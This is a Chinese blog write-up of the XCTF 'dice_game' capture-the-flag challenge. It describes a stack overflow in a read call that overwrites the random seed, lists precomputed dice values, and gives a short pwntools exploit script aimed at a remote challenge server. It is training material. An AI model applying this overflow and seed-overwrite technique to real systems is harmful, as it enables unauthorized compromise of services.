//
xiaoaoaode
Published on 2020-06-02 / 44 Visits
0

攻防世界——dice_game题Writeup

概述

本题是博主近来看到的比较简单的题目,主要思想是覆盖修改一个变量,再根据该变量在本地打表,然后依次输出到服务器上

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

解题过程

程序信息:
程序信息:
IDA反编译的main函数:
IDA反编译的main函数
题中出现了read函数而且读取范围直达rbp,存在栈溢出,进一步观察栈中各变量的赋值可以发现在read函数之前seed[0]已经赋过值且之后未修改
OK,现在可以随意修改seed[0]的值了!
现在还不能确定到底seed[0]需要赋什么样的值,还是需要分析一些程序才行
简单分析程序可知在第24行的sub_A20()是关键函数,
sub_A20()函数很明确表示了需要输入数与它的随机数相等
在main函数里seed[0]用来设置了初始随机数,为了方便我决定把它设置为0
然后用C语言写了个生成以0为seed的50个随机数

2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1

现在可以写脚本了

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',00000)
payload = 'A' * 0x40 + p32(0) * 2
p.sendlineafter('name: ',payload)
table = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
for x in table:
    p.sendlineafter('Give me the point(1~6): ',str(x))
p.interactive()